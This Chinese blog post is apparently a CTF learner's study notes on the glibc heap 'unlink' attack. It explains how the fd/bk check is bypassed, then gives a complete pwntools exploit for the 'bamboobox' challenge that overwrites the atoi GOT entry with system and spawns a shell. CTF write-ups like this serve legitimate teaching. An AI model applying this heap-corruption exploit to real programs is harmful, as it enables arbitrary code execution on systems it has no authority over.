unlink学习总结

发布时间 2024-01-08 14:46:11作者: ModesL

学习于:

好好说话之unlink_unlink 操作什么时候发生-CSDN博客关于unlink的学习总结 | ZIKH26's Blog

https://bbs.kanxue.com/thread-273402.htm

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

首先就要搞懂unlink是什么,怎么构造unlink链,相关题目的思路和wp是什么,unlink用于将某一个空闲 chunk 从其所处的双向链表中脱链,我们来利用unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。

一:unlink是什么

首先我们可以翻看glibc源码(2.23)来看看执行了什么操作,如下

 

首先执行这一段,FD!=P->fd是不是就等于*(FD+0x18)!=P,这样理解后面的构造就更好懂了

 

首先FD和BK都是通过P来寻找的, 我们要如何绕过这个检查呢,我们可以用一副图来更好的理解(64位为例子):

 

可以发现满足这个式子就可以做到

P->fd->bk == P <=> *(P->fd + 0x18) == P 
p->bk->fd == P <=> *(p->bk + 0x10) == P

 

那我们就将P的fd和bk改成下面就可以了,&P和P是不一样的,&P是指向P的地址,P就是P,如果&P是一个chunk的起始地址那么它就会被bss段记录下来

  

P->fd = &P - 0x18 
P->bk = &P - 0x10

 

修改后如下图,就可以绕过if检查了

 

绕过之后执行

FD->bk = BK;                                  
BK->fd = FD;

带入刚刚的,那么等价于

P=&P-0x10
P=&P-0x18

所以最后P=&P-0x18。

二:怎么构造unlink链

首先我们要修改fd,那么至少需要堆溢出或者uaf之类的漏洞来伪造fake_chunk,通常申请两个堆块,在第一个chunk中伪造fake_chunk,再通过漏洞修改第二个chunk的prev_size=fake_chunk_size, PREV_INUSE = 0,再释放第二个chunk,完成后fake_chunk就会指向&fake_chunk-0x10,那我们是不是就控制了从&fake_chunk-0x10到&fake_chunk的地址,如果可以写,那我们就可以修改这一段地址了,相当于任意写。

三:例题训练(例题出处均来自ZIKH26师傅

hitcontraining_unlink

首先检查保护机制,没有开pie,拖入ida中进行分析

 

change函数有溢出,没检查输入数据是否超过chunk大小

 

在ida里面寻找到bss段存放指针的地址是何地址

 利用print打印函数地址来进行利用unlink,则思路就是伪造一个fake_chunk,然后free掉一个chunk,触发unlink,让fake_chunk的地址改为&p-0x18,此时往fake_chunk中写入数据,就相当于往bss段上写入数据,写入atoi函数的got表的地址,然后执行show函数泄露真实地址,再执行change函数,修改atoi函数的got表为system地址,最后输入/bin/sh获取shell。

from pwn import *
file_name = './bamboobox'
#io = process(file_name)
libc = ELF('./libc-2.23.so')
io = remote('node5.buuoj.cn',27355)
elf = ELF(file_name)
context(arch = elf.arch,log_level = 'debug',os = 'linux')
def ml_gdb():
    gdb.attach(io)
    pause(1)
def show():
    io.recvuntil("Your choice:")
    io.send('1')
def add(length,name):
    io.recvuntil("Your choice:")
    io.sendline('2')
    io.recvuntil("Please enter the length of item name:")
    io.sendline(str(length))
    io.recvuntil("Please enter the name of item:")
    io.sendline(name)
def edit(index,lenth,context):
    io.recvuntil('Your choice:')
    io.send('3')
    io.recvuntil('Please enter the index of item:')
    io.send(str(index))
    io.recvuntil('Please enter the length of item name:')
    io.send(str(lenth))
    io.recvuntil('Please enter the new name of the item:')
    io.send(context)
def delete(index):
    io.recvuntil('Your choice:')
    io.send('4')
    io.recvuntil('Please enter the index of item:')
    io.send(str(index))
add(0x20,b'aaaaaaa')
add(0x80,b'bbbbbbb')
add(0x80,b'cccccccc')
#ml_gdb()
ptr = 0x6020C8  #存放chunk指针的数组在bss段上的地址
fake_chunk =  p64(0)+p64(0x21)  #fake_chunk header
fake_chunk += p64(ptr-0x18)+p64(ptr-0x10) #fake_chunk fd  bk
fake_chunk += p64(0x20) # 1的presize
fake_chunk += p64(0x90) # 1的size
edit(0,0x80,fake_chunk)
delete(1)
payload = p64(0) * 2
payload += p64(0x40) + p64(elf.got['atoi']) #覆盖为atoi_got
edit(0,0x80,payload)
show()
atoi_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("atoi_addr :",hex(atoi_addr))
'''
libc_base = atoi_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
edit(0,8,p64(system))
io.sendlineafter('Your choice:','/bin/sh\x00')
'''
libc_base = atoi_addr - 0x036e80
system_addr = libc_base + 0x045390
edit(0,0x10,p64(system_addr))
io.recvuntil('Your choice:')
io.send('/bin/sh\x00')
io.interactive()

   例题等我补充ovo,如有问题请联系我。